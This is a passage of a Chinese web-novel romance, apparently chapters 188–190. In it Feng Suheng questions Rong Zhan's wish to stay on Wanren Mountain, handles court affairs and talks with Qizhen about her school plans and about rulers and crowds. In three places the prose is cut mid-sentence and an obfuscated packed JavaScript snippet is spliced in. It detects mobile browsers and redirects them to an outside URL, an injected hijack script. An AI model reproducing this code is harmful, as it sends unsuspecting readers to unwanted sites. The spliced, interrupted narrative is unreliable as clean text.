风宿恒不可能给他这样的机会,但容绽在想什么风宿恒确实想知道。在木屋陪栖真用完午膳,慢悠悠从别处下山,化作阿畅回到山道口,一副与容绽偶遇的样子。 未及开口,风宿恒惊讶不已。 山道口一头白发的背影是谁? “阿绽?”若非容绽身边站着阑珊,风宿恒差点不敢认。 阑珊见着风宿恒,泫然欲泣:“阿畅,你可回来了!” 阑珊记忆里的阿畅,是在他们去大荒流修炼的同一日下的山,今天遇见,莫不是才回来? “我早回山了,小姐重伤,你们又不在,现下也就我陪着小姐。” 风宿恒对容绽不错眼地打量。 打击那么大吗?不过三日全然变了个人,容颜憔悴,青丝变华发。 “这是怎么了?”他对容绽努嘴,问阑珊。 阑珊摇头,唉声叹气:“阿绽想上山找宫主,被拦下来了,不让咱们上呢。” 风宿恒对容绽道:“跟我走走?” 容绽颔首,随他进大荒流。 至人烟稀少处,风宿恒开口:“小姐跟我说了,她把大容那段往事的真相告诉了你。” 容绽没搭腔,风宿恒缓缓道:“小姐也说,你们得知真相后,不可能再回到过去。” 容绽神色微动,随即黯然,这是事实。 “阿绽,我们认识大半年,我知道你也好阿絮也好,都是好人。我们在山上每一天都很快乐,我不明白小姐为何非要把真相告诉你,若她执意隐瞒,死无对证,你根本没办法获得答案。可她说了出来。我相信她必然有她的理由,可你很痛苦吧?见你白头,我知这三日你心中必是天翻地覆,所以今日你是来和她告别的吗?” “不是告别。”容绽面对茫茫戈壁,透着破碎的空茫:“我没想离开。” “什么打算?”风宿恒终于问出关心一句。 容绽坚定:“和以前一样,留在万仞山。” “留在万仞山?”风宿恒眼底闪过戾气:“别说如今小姐寄人篱下,做不得主,即便大容王让你留,你留下又能怎样?你和她不可能回到从前了。” 容绽道:“栖真以可能宫名义和大容王合作,我也是可能宫宫主,我为何不能留下?” 风宿恒嗤笑:“我们都知道,可能宫只是个……” “以前是。”容绽:“以前只是茶余饭后的笑话,只是她为书册下印起的诨名,但将来可能宫会成为真正的可能宫。” “什么是真正的可能宫?” 容绽停了片刻,身背挺直如风中劲节,从未被弯折过:“她说这里地虽荒,但每个人在此都有发展,未来会有各种可能,这便是可能宫的由来。” 眼前仿佛出现和栖真一起努力的日子,他面部线条变得柔和。 “她设想了一整套教学体系,努力地写教案,因为她有梦想。” “栖真的梦想是有朝一日大容每个城镇都有学校,每个孩子都能免费入学,有统一的教材,有受过培训的老师。这样,天下将有多少人改变自己的命运,无论朝堂还是商界,农业还是工业,都有比现在多得多的人才。大容的发展会数倍于当下,短短几十年,整个国家都会改头换面。” “过去栖真一直逃亡,这次为何愿意安定下来屈服于大容王?纵使开头是风宿恒以我们性命相挟,可凭她智慧,我不信一座万仞山困得住她。这次她是心甘情愿留下的,因为她的梦想,因为这里有……子石。” “我不想她孤军奋战,我要留下。” 风宿恒五味陈杂:“小姐之前瞒着你们,只因杀父灭国之仇不共戴天,如今听阿绽一席话,倒似要全数翻篇,彻底放下了?” 这话锥心,直戮容绽痛处。他面色白了几分:“这是我和她的事。” 风宿恒冷笑:“她有多伟大的想法是她的事,我阿畅要还的是她的救命之恩,保她此生安全无虞,令弟煽动暴力伤人一事我还没跟你们算,你又来言之凿凿留在山上。你俩血海深仇,你现下说得大义,转身想害她不过一念之差。容绽,我今日表个态,我希望你们走远,哪儿来回哪儿去,别再近她一厘。” “我知道了。”容绽波澜不惊:“若栖真也亲口与我这般说,我便哪儿来回哪儿去。” 继续道:“你的使命是护栖真周全,我也望她身边有足够多的忠心人护她周全。但阿畅,你能做她手中刀,成不了她身前盾。这个,只有我可以。” 风宿恒哼出鼻音:“何意?” “凭她之能,十年内大容必翻天覆地,万仞山可能宫名扬四海,无人不知。高处不胜寒,随之而来的必是王者逐鹿、反者觊觎、利者眼红,万仞山再难清净。明枪易躲暗箭难防,你愿她以宫主之名被顶上高位,天天担惊受怕,独自应付所有的纷争与恶意?” “阿畅,你即知栖真秘密,应当明白她对中土所知有限,无人把关,未来的智慧照搬过来是否合适?过去我看她的诗,虽是神作,仔细推敲仍有别扭处。如今我才知,那两三个字,只怕是她为了适应中土擅改。一首诗尚且要费心力,著作呢?科学呢?商业呢?谋略呢?创造呢?她是博大的水源,该集中精力做好源上的事,顾此失彼,她会累垮的。” 风宿恒沉默半晌道:“这些大容王想不到?他执意收拢,怎可能将小姐置于火炭?” 容绽道:“风宿恒是自己人?” 风宿恒……… “这几日,他在山上吗?”容绽问。 为免节外生枝,风宿恒道:“我没看到。” “风宿恒是谋略家,是王,他志在天下。”容绽道:“为宏图霸业利用栖真,他或许会用心保护,但不会贴心守护,况且他们间还有当年一箭穿心之仇,再见也是喊打喊杀,你放心将你小姐未来赌他身上?” 风宿恒捏了捏眉心,欺容绽目不能视,没掩饰愠怒的表情:“大容王傻啊?知道得了个宝贝还拿出去招摇?自然是怎么藏着怎么来,有什么东西不能以大容朝之名公布?你能成为盾,朝廷就是无坚不摧的墙。” “那栖真会永远受制于风宿恒!”容绽道:“阿畅,你跟着她,该懂她。栖真若能接受,何必以可能宫之名与之合作?况且以她之惊才绝艳,你就忍心她的名被彻底埋没在王朝背后?” 风宿恒:“照你意,以她名不好,不以她名也不好,到底怎么才好?我是个粗人,阿绽不妨说直白点。” “可能宫,未来尽可大开门庭,纳百家言,成教化所,它是栖真说的学校,也是她说的论坛,更是万众归心的思想圣地。”容绽语气坚定:“我要留下,与栖真并列宫主。” “算听明白了。”风宿恒没放过他,以阿畅水准的言论攻击:“说白了,小姐的功劳要分你一份,她创的盛世荣光你也想沾。你做的事,和你认为风宿恒会做的有什么差别?你们不过都想利用她,风宿恒用她治国,你用她图名。” 容绽愣然,过了半晌对天长叹,形容萧索。 “每件事必以利益出发才能说服,那你说的一点没错。”容绽眉宇间皆是冷然:“我容氏贵为前朝皇室,如今却是丧家之犬,连个容身之处都无。我自然要紧紧巴着你家小姐,趁她如今根基不稳,巧言令色谋取一席之地。有朝一日可能宫因她名倾天下,我也好得半分庇荫,在她羽翼下享受荣华。我还可以更过分。我可以不劳而获,坐收渔利,只手遮天,将她功劳全数占为己有,让世人以为可能宫是我容绽一人天下……阿畅,要这么想才过得去,也无妨。” 风宿恒也在心中叹息,静了片刻道:“我跟着小姐不为爱慕,而为报恩,所以她爱张三也好,爱李四也罢,我都诚心祝福。可你不同!阿绽,你心思不纯,你的付出有前提,若有朝一日小姐让你失望,有朝一日……她真和风宿恒在一起,只怕你接受不了,你会生求而不得的怨怼心,这个你想过没有?” “她会和风宿恒在一起吗?”容绽问。 “谁知道呢?”风宿恒道:“他们纠葛太深,本就不是旁人可以置喙。” 容绽睫毛微颤:“阿畅,定要我给一个说服你的理由是吗?我留下,不为名不为利,必定是为私情?” “不是我一定要理由。”风宿恒道:“而是你,到底以什么理由说服自己放下血海深仇,非要与她一处?你能说服自己一时,能否说服自己一世?你的理由和决心,能挡得住至亲的压力、舆情的诋毁,甚至栖真给你带来的任何失望?你说你要做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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风宿恒蹲身看清理出来的东西,经过坍塌时尘土的蹂/躏和大半个月的日晒,很多东西泛了黄,只能舍弃,但仍有不少清理出来的残破纸片,被归拢在一处,扔在一个篮子里。 风宿恒翻了翻这堆乱七八糟的纸片,看到了他的画稿、栖真的教案,还有很多瞧笔迹应该是容绽誊写的书稿,当下命人把篮子送到长风谷。 黑甲进驻时,风宿恒就下令在长风破浪边造了新的小木屋。为了让栖真安静养伤,有些不适合在长风破浪做的事,风宿恒会移到这边来,否则栖真不要他的夜晚,他去哪里呢? 篮子已经放在桌上,后面再有挖出来的纸片也会因为他的命令再送过来。 风宿恒关上门,在窗外透进的光亮里坐到桌旁,将篮中的纸一张张取出来归类。他的画稿他很熟悉,栖真写的书稿和教案他也很清楚。这两叠他基本不用看,大可直接分。 清理到后来,他发觉容绽手稿也很多,全是栖真每次上课时的记录。 容绽看不见,没法圈划,只能记录栖真上课的内容,然后在最后大段大段总结。 ……这个地方有更合适的例子,比如什么什么;那个地方换一种说法兴许更佳;鸿儒和白丁为何会做这般提问,是否在孩子眼中有别的解读;狗子和小花这块听不懂,需要降低讲解难度…… 当然也有赞美,他写的最多的就是,此游戏甚好,这话甚好,这个想法甚好。 难能可贵的是每堂课,总结都比记录长。 风宿恒想起栖真上课的场景,容绽总是坐旁边凝神倾听,埋头苦写,安静的像角落里的一朵蘑菇。 容绽写的东西他之前没看过,但栖真每天上完课和容绽讨论得热火朝天的场景他经常见。 风宿恒眼里,只要栖真开心,怎样都好。 但现在他不得不想,若从此身边没了“志同道合”的伙伴,栖真梦想是否依旧?即便依旧,是否仍然完整? 知道她大致想做什么,但栖真从没跟他说过可能宫的含义,没跟他说过“想让大容做到每个城镇都有学校”这种话。 今日才发觉,栖真对容绽说的要远远多于跟他说的。 捏了捏鼻梁,离开桌边,枕臂躺到床上。 一躺下,他就觉得自己不该躺。前晚吞心蚀骨躺一夜,这般独处,思绪游走,感觉更糟。 于是他走出屋,想去长风破浪和栖真说说话,探一探她意思,听一听她声音,或者,只是看她一眼。 还未下楼便在门口停步,隔壁传来几声轻微的交谈和笑声,是万叶飞又来找栖真,讲得兴起,在说什么床不床的事。 风宿恒站了片刻,下楼,背手远去。 189. 第 189 章 郁闷时,做正事。 风宿恒回了金光万丈城。 “陛下,今早收到辛丰第五封敕令,命您三日内回乾都。”钟雄呈上折子。 风宿恒接过没看,放一边:“下一项。” 钟雄:“戦世子也让我劝您回去一次,据说大帝气得摔杯,您再不回去露个脸,只怕铜雀台血诺要作废,届时兵临万仞山,不好收拾。” “不用担心。”风宿恒道。 钟雄知道这对父子多年不睦,打打杀杀,旁人无从置喙。风宿恒不鸟他父皇多年,凌潇帝这口怨气想必只有他能摆平。 做臣子的跟风宿恒久了都知分寸,另起话题:“这几日千丈岩那边没动静,十三司已在三里外设伏,探子也混进寨中,只是没见大神王露面,寨里现下全由一位叫哥谣的将军主事。” 风宿恒道:“继续盯着,如今本王回朝消息举国皆知,大神王不会再兵行险着。露面,打他们个措手不及,做得漂亮些,务必生擒。” 钟雄得令。 风宿恒又问九部像现状,袁博禀道:“柳絮回回府挨了顿家法,能下床了就在万丈城四处探看,打听物价和店面,一门心思钻在开店里。英迈被关起来了,一时半会儿出不来,至于容绽……” 他看一眼尚可薪:“那日尚相走后,就和阑珊不见踪影,这几日找不见。” “不用找了,他们回山了。”风宿恒道:“如今容绽身法已复,你看不住他的。” 袁博额首:“还有容聘,这几日仍在司军府,大概在等他兄长回来。” 风宿恒道:“盯容聘吧,派出去的探子有回报吗?” 袁博道:“得宽限些时日,容聘像忽然冒出来,这几年的踪迹竟查不到。” “慢了。”风宿恒在桌上点点:“郢业刚传出大容神官的消息,容聘就找上山,背后不可能没势力,从郢业查。” 尚可薪一礼道:“容聘性情跳脱,绝非隐没之辈,兴许他改姓更名行在江湖,我们不知而已。” 风宿恒手停,和他对视一眼,瞬间想到一人。 风宿恒:“让我们瞧瞧他能折腾出什么名堂。”当下对钟雄另做指点,钟雄对尚可薪撇撇嘴,便即应下。 倪煌如今常驻永嘉,奏报都由钟雄代为呈上:“倪煌已率工匠队开始筹建城墙,这次石砖和山石各半,全数国内出,之前善巧司已就地勘探,择了寿山和屏山两处,工匠队已赶赴开采。等国库拨了银,我等好在戈壁立第一批窑子,也好切磨烧制,还请尚相加急。” 尚可薪道:“拨银的御批三日前下发,月底前必定保证倪将军开工。” 钟雄斜睨来:“上次说下旬,如今是月底,尚相,不着力啊。” 尚可薪就事论事:“不单是拨银,尚财司还要统辖采物司和递运司,都要时间。” 钟雄争了几句,最后还是风宿恒道月底必须开工,才停了两人口头来去。 “将来大荒流会变什么样,取决于万仞山是什么样。”风宿恒最后道:“孤今日把话撂这儿,大荒流一寸不让,必须隶属大容。这城墙,建造难度比永嘉低得多,难在抢时间。料不足不开工,石料备齐全员皆上。最多四年,大荒流西北南二千里都要圈上。” 诸事议定,众人退出,只留尚可薪一人,风宿恒温言道:“见过容氏兄弟,可薪心平些了?” 尚可薪诚意道:“谢陛下让我去见,这头磕完,心愿已了。” 风宿恒问:“尚卿觉得容绽此人,较之以往如何?” 尚可薪:“纵命运蹉跎,清风明月,君子之态依旧。” 风宿恒:“新朝能否用之?” 这问题也是可笑,一个侵略者,还想前朝王子放下仇恨为其所用?谁都知道不可能! 但风宿恒偏偏就是敢问,而尚可薪偏偏就是能答,“看陛下想用其名,还是用其才。” “怎么说?” “容绽年少成名,龙章凤姿,有‘大容第一神童’的美称,在民间威望极盛。若他归顺,便是给民间做出表率,大容从此上下一心,再无前后朝之分,但另一方面说,容绽身为前朝神官,自小被容伯舒教导,接触的都是主理神宫之事,纵有文名,于治国未必精通,所以陛下图其名,可用;图其治国之才,便可有可无。” 风宿恒端起茶盏,抿了一口:“可薪见了容绽两面,觉得照他心性,有无归顺可能?” 尚可薪笑:“难如登天。” “还有反骨?” “容聘或许。”尚可薪想了想:“容绽,通透得多。” 独上皇崖山时风宿恒还在心中权衡。兰珍墓边有了新坟,他经年习惯,将墓碑擦拭干净,连旁边的也同样擦了一遍。墓前当年手植的愿归树已经葳蕤,他靠着树干,看山下宏阔胜景,也久久注视沈兰珍的碑。至夕阳西下,才下山带袁博一起回大荒流。 回到长风破浪,见栖真闭眼,眼皮翕动,知她还没睡着,吧嗒亲一个便去净房洗漱,稍时擦着头发,带一身水汽上了床。 栖真就拿那对黑漆漆的瞳仁瞅他:“才回呢?” 风宿恒低声道:“等我呀?” “等啊。”栖真:“等得好困。” “好困还等?” “想你嘛。” 风宿恒觉得神奇,他的可人儿是怎么做到两句话就让他开心,心被温泉洗刷,浑身都舒泰了。 风宿恒见她胸口:“夹板去了?” “素青说养得差不多,不用上夹板了,还不能起床,得平躺,再躺半个月。” 风宿恒道:“总是好事,这样舒服些。” “舒服多了。”栖真哼哼唧唧:“就是痒,没人帮挠。” 风宿恒伸手进去:“原来在等我回来挠。” 两人目光一对,又吻上,像庆祝磨人的夹板终于去掉。 风宿恒吻片刻,感受着手里:“好像变小了。” 栖真被他捏得有些胀:“夹板压的。” 风宿恒拉开衣衫,比较一下。 栖真呼吸变重,道了句玩笑话:“修好了,完璧归畅。” 戳中风宿恒的痛,把栖真弄地求饶:“不要了,难受……” “哪里难受?” “还问哪里?”栖真哼他:“夫君白当了。” 风宿恒呵一声,让栖真惊喘。 “别叫。”风宿恒在她耳边轻声:“给你。” 栖真没想要他给,但两人碰在一起就没羞没臊,何况今晚男人有点强势,做的比说的多,风宿恒对这具身体了如指掌,知道怎么拨弄让她在得到之上,疯狂之下。 太疯了不好,养伤呢。 事后栖真嗔道:“这屋子……这屋子都不隔音的。” “放心,声音我吃了。”风宿恒吻着芙蓉面:“谁敢听?剁了。” 栖真看着房顶,忽然道:“那时候,就是被流民打晕前,我最后一个念头在想,真被打死了怎么办,我还没给你生孩子呢。” 风宿恒动作一顿。 “真被打死,我就白来中土一遭了。”栖真叹气,好整以暇看他:“宿恒,我有没有跟你说过,你的长相,身材,气质,我都爱死了?” “没有。” “没有吗?” “可以再说一次。” 栖真端详他:“这世上帅的男人千千万,但有一个男人英俊得不多不少,好看得正正好好,就像照着我梦中的样子长,世上不可能再有另一个男人长这样。别的男人再帅再美都不是我心里的样子,我就觉得你最好看。宿恒,一看到你,我就特别开心。” 风宿恒心花怒放:“今天吃蜜了?” 栖真羞赧:“看到万叶飞我会想,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我让万叶飞来,是想有人和你说说话,可真看你们说说笑笑,我就很难受。我让容绽上山是因为你想见他,可见你为他流泪,我就恨不得你们这辈子再不相见。我今日回去皇崖山,在兰珍墓前待了一个时辰。我在回忆过去五年里,每日站在墓前自己都在想些什么。我在想把你救回来后,我一定事事顺着你,对你很好,好到让你不忍心对我说一个‘不’字。可现在我才发觉,我还是高估自己,我真正想做的只有一件事——把你关起来,让你只能对我一个人笑,对我一个人哭,和我一个人说话。任何男人接近你,分你的心,我都受不了。” 栖真问:“阿畅,你真地会这样对我吗?” 风宿恒颓然地埋在她颈间:“……不会。” “好痛苦吧。”栖真抚摸他背。 风宿恒一声叹息。 栖真忽然道:“把我关起来吧。” “不。”风宿恒抬头:“我不会这么做。” 栖真用指抚上他唇:“试一试,等我伤好,把我关起来一个月。谁都不见,就属于你一个人,你可以对我做任何你想做的事。” 风宿恒喃喃道:“一个月?” 栖真道:“一个月不够,就两个月。” 风宿恒分辨着她的表情,缓缓道:“真真,不用这样,我说出来,不是为了要你证明。” “没想证明。”栖真道:“就想试一试,不是迁就,没有委屈,这么说,只是因为我也想。” 风宿恒喉结耸动:“当真?” 栖真笑道:“我就想和我夫君度个蜜月,有什么不当真?” “在我们那儿,新婚夫妻都是要度蜜月的,一起出去玩段时间增进感情。我们成了婚也没机会度蜜月,现在正好,等我伤好,咱们就在山里找个地方好好待上一个月,就咱俩。我问过素青,再过一个半月,夹板就能拆了。” “还有一个半月……”风宿恒被幸福砸中,欣喜溢在眉间,恨不得美事就在近前。 栖真也兴奋:“我们有足够时间准备,不是很好吗?我想想带点什么,你好好养养身体。” 被她的表情和暗示逗笑,风宿恒笑得一晚嘴角没下来过。 很多年后他还记得这晚栖真给他的感觉,她把他拉出糟心的深渊,送他幸福和憧憬,让他开心,一种非常纯粹的开心。 是从小到大没有过的。 190. 第 190 章 胸夹除了,第二日风宿恒抱栖真去洗澡。 油布裁成条,左腿、右臂和两只手细细包住,风宿恒还给打了绳结。 地上置大盆,盆里拼凳子,风宿恒放她躺在凳上,伤处用绳子吊起,自己搬个杌子,用臂缚绑住袖口帮她洗。 是栖真同意的,再窘也得忍着,只是眼角憋得有点红,湿意含在眼眶里。 “小可怜。”风宿恒边洗边亲。 “阿畅,说点什么吧,不说我要死了。” 风宿恒用皂角给她擦拭,室内又飘起清冽的兰花香。 “明日我要回趟乾都,快的话当天回,最长两日。”风宿恒道。 栖真问:“去见你父皇吗?你复生后,他是不是一直催你回去?” 细看栖真肩头、手臂、腿侧……好多淤青和擦伤都在消退,唯有腹部被人踹出来的血瘀仍然明显,风宿恒视线刻意避过那处,只是道:“他气疯了。” 栖真道:“哎,如果我儿子忽然活过来,对我都没一个交代,还死催活催不肯回,我也想抽死他。” “口无遮拦的,你儿子要打喷嚏了。”风宿恒道。 栖真状似闲聊:“怨你父皇吗?当年他对你绝情,赶你出宫,那么多年没对你好过,会恨他吗?” 风宿恒手上很轻,生怕在这副娇躯上留印:“恨这种感情太激烈,从小到大我都把心思给了你,没力气去恨,也没必要恨。” 栖真:“那次我在密室见到你被冻在冰棺里,星流说是你父皇主张你还有一缕神识游荡在外,本体不可伤,所以用法术将你冻住。后来也是你父皇见荆棘无法去除,最后决定让你常驻在此。我想无论你们过去如何嫌隙,真到生离死别,他还是舍不得的吧。” “真要说,过去是我离经叛道。”风宿恒缓缓道:“如今我心愿已了,见了他,自然不会剑拔弩张。” 栖真忽然对他眨眨眼:“好想看你抱自己孩子是什么样,阿畅,你是好父亲,我们生一个,那么小一只,你会不会天天抱着他不肯放?” 风宿恒提瓢,把水徐徐浇在她身上:“说不定我天天打他屁股,你天天心痛地揍我。” “你哪舍得!”栖真娇憨道:“阿畅,我们生一个吧,好不好?” 沾了水的手摸上她脸颊,风宿恒淡淡一笑:“真真求欢呢?” 栖真嘿一声:“跟你说正经的。” “好。”风宿恒宠溺道:“等你身体好一点。” 反正洗了,顺便头发也洗一下。风宿恒像顺蚕丝一样顺她的发,一面顺一面道:“生个孩子要搭进去一两年,你对外说要以可能宫的名义和大容王合作,这个你怎么打算呢?” 栖真闭眼享受:“自从在山上教人,我就在想,将来能否将万仞山打造成一座学宫。既有教授孩子的课堂,也是培养老师的地方。教孩子是因为要实践,要知道出的教案适不适合孩子,不能闭门造车。而培养老师才是重点。一个好老师能教出一批好学生。大容十二城八十一镇,若每个城镇都有学校,都有好老师,能教出多少学生啊。” 风宿恒问:“真真,你想在这个宏图中成为一个什么角色?” 被大掌托着颈,她睁眼对上风宿恒的视线:“阿畅,说出来别笑话我。以前……我是说出事前……大概因为每天教孩子和阿絮他们,让我感觉太好了,好的我都开始膨胀,觉得自己无所不能,觉得只要我想,就没什么做不到。可是这一顿打,把我打醒了。” “如今阿絮他们不在,我才发现以前信心满满是因为身边有他们,我从教他们这事上获得信心,又因为我们是一个团队,我觉得做什么都有干劲,可现在只剩我一个,纵使事情还想做,总觉得缺了什么。” 风宿恒道:“你还有我,我也可以和你成为一个团队,把事情做成。” “是的,我还有你,可是……”栖真犹豫着:“怎么说呢……” “说你真实的想法。” 两人目光再次交汇,栖真斟酌道:“宿恒,你在我心中……太高了!你是王,要忙国家的事。我可以和你聊想法,聊创业中的趣事,可让我每日和你讨论教案,讨论一句话怎么说,一个词怎么用,我觉得太小了,怎么能整日拿这些东西缠着你呢?” 风宿恒驳道:“我不介意啊。” “阿畅,这么说你别生气。”栖真索性敞开道:“你是不介意,但你不适合。每个人都有自己的战场,你能力太强,你是当王的人,就应该把精力放到更高端的事情上,别人能做的你都能做,你能做的别人却未必做得了。” 风宿恒解释:“真真,你把事情颠倒了。我不是想当王所以当,我是因为你才当,若今日你说,风畅,你别当王了,我们隐居吧,那我就不当了,我就跟你在这里住下去。” 栖真道:“啊呀,那么好呀?” 风宿恒笑,把她长发放在净水的小盆里过了两道:“原本就是这样啊。” 栖真笑:“我纺织来你赶牛,我烧饭来你打油?” 风宿恒笑出声:“只要你想。” 栖真眼神温柔,张口就来:“卿不自信,当信为师之言。小志者安家,大略者谋国,卿备定鼎之能、统域之权、敌国之资,开缰之才,无需坐守陋室,踟蹰不前,大可尽情畅想,声教所及,罔间南北。纵离情异俗,困辱不悔。达四海,亘古今,譬如重生,不枉异世来。” “宿恒,你看重我,觉得我能量所及,不该只用来“安家”,你让我不要坐守陋室,要我尽情畅想,纵离情异俗,困辱不悔。” “我真把你拉到山里隐居,纵使生活美满,还是会留遗憾吧?世上有无数对夫妻过着平淡的生活,但不该是你我耽溺的梦。等我们老夫老妻,每日躺床上,你看我一眼,心想,这人明明从未来来,有太多可以施展,却每天织布烧饭;我看你一眼,这人明明是天生的王者,治国平天下的一把好手,却每天在这里赶牛打油,我们会不会互为对方遗憾?” 风宿恒和颜悦色地帮她总结:“所以真真还是想做点事,想和“志同道合”一起做,只不过这志同道合的人,不是我。” “看看你。”栖真噗嗤笑道:“说得那么可怜,好像我不要你似的,重说。” 风宿恒从善如流:“所以你夫君太强了,要被你束之高阁,不适合和你讨论教案,只能当王去。” 栖真忍不住呸他:“咱们就是一个团队,不过各有分工。在前开道、在后守护的事你来,中间运营和执行我来。没你这个当王的镇着,我能做什么呀?” “扯大旗站台的事能花你夫君多少时间?”风宿恒一本正经地挤兑:“你和志同道合们讨论,我还不是在旁边干瞪眼。” “洗好了没?”栖真瞅他:“洗好了回床说。” “你光着更坦白些。”风宿恒玩笑,手里加紧,把人擦干后将油布拆去抱回床上,帮她把衣服穿好,低头看自己衣摆晕湿一片,索性脱了上床。 “大白天的……” “放心。”风宿恒道:“袁博在外面守着,不会让人进来,继续说。” “宿恒。”栖真舒舒服服躺他怀里:“这次被人莫名其妙揍一顿,我真地觉得很愤恨,很委屈。” 风宿恒道:“你再愤恨,再委屈,都是正常的。” 栖真任由他摸索她指尖:“可是这几天,我把这事想明白了。” “如果今日我是个一无所有的平民,我愤恨我委屈都情有可原。你们有难处,我难道没有?我们都是一样的地位和窘境,凭什么我要帮你们,还要被你们打?这样一想,我怎么恨都是应该的。但问题在于,我不是啊!和那些平民比,我是上位者,他们认为我是这里的主人,后来相信我是辛丰皇子的女人。总之,他们认为我是有资源、有权利,可以缓解他们困境的人。他们愤怒,是因为他们觉得我明明可以,却不做;认为我明明可以做得更好,却没达到他们的心理预期,所以他们要报复。” “简单区分,这世上就是有弱者、有王者。绝大多数人是弱者,少数是王者。我这里说的王者,不单指当王的人,而是所有那些有地位、有财富、有资源的人。王者站在人前,站在弱者的顶峰,就要满足弱者对他们的期待,可是要满足这份期待是很难很难的,满足了,弱者就是绵羊;不满足,他们就成了洪水。” “如果我是王者,我就不能采用弱者的逻辑和思维,否则很多事就想不明白。我会去怪他们,啊,你们愚蠢,经不起煽动、集体无意识,可责怪有什么用?责怪只能蒙蔽王者的眼,是最最无用的。” “王者是什么?王者应该是好的牧人,有足够喂养羊群的实力,有不让羊群走失的技巧,有不对羊群寄予厚望的心态,更有区别分羊而治与群羊而治的能力。羊越多,对牧人的要求就越高。” “回头想想,在这起暴动事件里我做错了什么?第一,在难民上山的当日,我就应该把你叫回来。不是说你带人回来就为赶他们下山,我们也可以照样救济,但我该有远见,该给自己多一层保障,这样才不至于受制于人,不让自己立于危墙之下。” “第二,我不该急着去找苏伯,问他后面打算。我以为我救济了,对方应该心怀感激,即便我问一声也没什么。可我还是不够洞察人心。他们是刚被救上岸的溺水者,还没确保自己安全,以为我想把他们重新踢下去,他们能不怀恨吗?其实事后想想,我们明明有足够的供粮,我也不是心疼这些粮食,我那么着急做什么?因为难民把山头弄得乱七八糟我看不下去?因为他们对我们不客气,我气不过去?在我都没法保障自己安全的前提下,贸然去提,那真是不识时务,分不清轻重缓急。” “第三,当我被容聘他们围拢,难民也围上来不让我走时,我就感到事情要遭。可我没有当机立断把混蛋叫出来。若趁他们还未动手,情况还控制地住时,我就用饕餮震慑,然后最快速度回到花千树,有灵鸢、阿闯他们守着,门窗锁紧,严阵以待,兴许就不会演变成后面的局面。可我为何不这样做?也许因为我还天真地想辩解、想说理,即便当时根本没人听;也许我不想像丧家犬,姿态难看地躲起来。我脸皮不够厚,我还留在那里,不采用雷霆手段,最后只能自承恶果。” “你看,对一个王者来说最难的是什么?最难的是你即便做对了九十九件事,只要错一件,就会面临倾覆的危险;最难的是王者遵循的逻辑、面临的压力、所需的能力和弱者完全不一样。因为立场问题,那些东西弱者根本不会去体会。就像善心解决不了问题,你做成,羊群满意,你的善心才会被看到;没做成,羊群不满,你的善心就是无用。羊群要的是你的能力,搞定一切,摆平一切,让他们理所当然享受的能力。” “宿恒,在我们那个时代,朝廷已经是一个能力高度集中化的组织,在面临很多公共事件时可以做到反应迅速,从上至下,筹措资源救民救灾,这种效率至少是过去的好几十倍,但一样的!只要当朝有一件事没做好,有一件事引起民愤,只要煽动者一个视频、只要在民众中传播一段煽情的话语,就能让老百姓群起激愤,去痛骂,去失望!没人去理会朝廷的初心,他们只会关心我的利益受到了损害,我的损失都是朝廷造成的。” “所以民众是什么?民众就是一个头脑简单的群体,满足他们,他们就拥戴你;不满足,他们不会分析你哪里好,哪里不好,他们只会把你一棍子打死。要成为他们心目中的英雄很容易,要被他们骂成狗熊同样如是,而很多时候,英雄到狗熊的转变不过在瞬息之间。最有意思的是,这样头脑简单的群体永远占据着道德的制高点,他们给你盖棺定论的标准简单粗暴,王者阶层是剥削的,贪婪的,无能的、不作为的;满足他们的要求是应该的、必须的、无穷尽的,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728528|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你又不能说民众不对,因为他们愤怒的背后是真实的苦难,是因为遭受了切实的损害和疼痛才会暴起。” “所以当王者难不难?真地太难了,要求太高了!不仅要懂得保护自己,懂得分清轻重缓急,善谋人心,精通施为之道,能用金刚钻做瓷器活,关键时候要审时度势,当机立断,该做缩头乌龟时绝不逞英雄,该维护形象时豁得出去,还要修炼独立的心,就像羊群不需要牧者的善意,牧者也不需要羊群的感激!对羊群不能有期待,若即若离,放开收紧都是手段。” “宿恒,在我们这个团队里,你就是那顶级的牧者。你现在修炼到几层了?你敢说我上述说的这些你都精通了?所以你没事做,空闲到有足够多的时间来看我写教案?你就是孙悟空抢走的那根定海神针你知不知道?有它在世界才稳;它不在,一切就塌了。” “我也一样的,宿恒,你不仅是我事业上的定海神针,更是我心里的。你教我知识,送我财富,给我温柔乡,让我在你身边安栖。你撑着,我才有想做的事,才想去找志同道合的伙伴,才想去达四海,亘古今。没有你,我能做什么?不过是在异世求存,至多田间地头,织补打油。” “所以宿恒,不该是你患得患失,该紧紧抱住你的,是我。” 原本还在摸索栖真指尖的动作不知何时停下了,房中安静许久,任由日头爬上床帏。 风宿恒喟叹一声:“从没人跟我说这些的。” 栖真适才说得上头,胸口有些发闷,闭眼缓了片刻:“没人跟你说这些,但其实你都知道吧?” 